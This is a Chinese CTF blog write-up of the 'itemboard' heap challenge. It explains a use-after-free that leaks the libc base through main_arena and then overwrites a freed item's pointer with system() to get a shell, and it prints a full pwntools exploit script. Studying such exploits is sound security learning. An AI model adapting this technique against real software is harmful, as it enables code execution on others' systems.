這篇部落格寫的非常好 受教了 本來其實我是看的另一道題 但是那道題 感覺並不是很適合我這種萌新 然後我就看到了這道題 就
由於這個篇文章寫的很清楚 而且 **直接就可以拿到flag 我決定換乙個庫來實驗 就用我的 16.04 的 版本號
我們先看一下執行庫
看的出來是 2.23.so的庫 我們把他找出來
然後 這個題的保護是
是由pie的 那麼 我本來的想法 就失敗了 libc的基址 不能夠洩露出來 然後 這裡 的話 上面的那個部落格就寫的非常全面 就是 :
而在fastbin為空時,unsortbin的fd和bk指向自身main_arena中,該位址的相對偏移值存放在libc.so中,可以通過use after free後列印出main_arena的實際位址,結合偏移值從而得到libc的載入位址。
申請兩個堆 然後釋放掉乙個堆
add('aaaa',0x80,'bbbb')
add('cccc',0x80,'dddd')
dele(0)
看一下 堆的變化
這裡可以看的出來 是 main_arena+88的位址 main_arena的基址存放在libc中的malloc_trim()函式中 那麼我們去找一下 2.23so的 malloc_trim()函式
那麼 main_arena 的基址就是0x3c4b20 那麼我們就可以求出來我們的lib的基址
得到我們lib的基址 就能夠獲得我們的 system的位址 那麼 我們可以利用 堆 優先考慮 最先釋放的堆的位址 那麼 我們可以 用uaf 的特性 來 將 臨時申請的 item的free 指標 指向 system 就可以了
那麼這道題 就完美結束了
#!/usr/bin/python2
#coding=utf8
from pwn import *
io=process("./itemboard")
libc=elf("./libc6_2.23.so")
def add(name,len,context):
io.recvuntil("choose:")
io.sendline("1")
io.recvuntil("item name?")
io.sendline(name)
io.recvuntil("description's len?")
io.sendline(str(len))
io.recvuntil("description?")
io.sendline(context)
def show(index):
io.recvuntil("choose:")
io.sendline("3")
io.recvuntil("which item?")
io.sendline(str(index))
def dele(index):
io.recvuntil("choose:")
io.sendline("4")
io.recvuntil("which item?")
io.sendline(str(index))
if __name__ =='__main__':
add('aaaa',0x80,'bbbb')
add('cccc',0x80,'dddd')
dele(0)
show(0)
io.recvuntil("description:")
libc_base_addr=u64(io.recv(6).ljust(8,'\x00'))-88-0x3c4b20
system_addr=libc_base_addr+libc.symbols['system']
print 'system address: ',hex(system_addr)
dele(1)
add('aaaa',0x18,'eeee')
dele(2)
add('aaaa',0x18,'/bin/sh;'+'s'*8+p64(system_addr))
dele(2)
io.interactive()
在本地成功!
pwn入門之二 緩衝溢位
pwn入門二 緩衝溢位 環境 cenos6.5 64位,安裝了 gcc的32位編譯庫,cenos執行於文字模式,搭建方法見博文 pwn入門之一 搭建64位centos6.5虛擬機器 一 建立 test1.c,內容如下 include main 可以不必去理解這段 的含義,只要無誤的輸入就可以了,理解...
堆溢位利用
0x1 申請 0x2 使用 0x3 釋放 堆塊包括塊首與塊身 返回的指標指向 塊首是乙個堆塊頭部的幾個位元組,用來標識這個堆塊自身的資訊。未被占用的堆區 被占用的堆區 位於堆區的起始位置,堆表分為兩種空閒雙向鍊錶freelist 空表 128條 和快速單向鍊錶lookaside 快表 最多只有四項 ...
認識堆溢位
學習資料 之前學了一些棧溢位的知識和方法,首先比較了一下堆溢位和它的區別 堆上並不存在返回位址等可以讓攻擊者直接控制執行流程的資料,因此我們一般無法直接通過堆溢位來控制 eip 那怎麼辦呢,第一步要了解一些堆的知識,一邊學的時候一邊查詢就好了,知識點我只看了簡單的部分 堆溢位和棧溢位的危險函式都差不...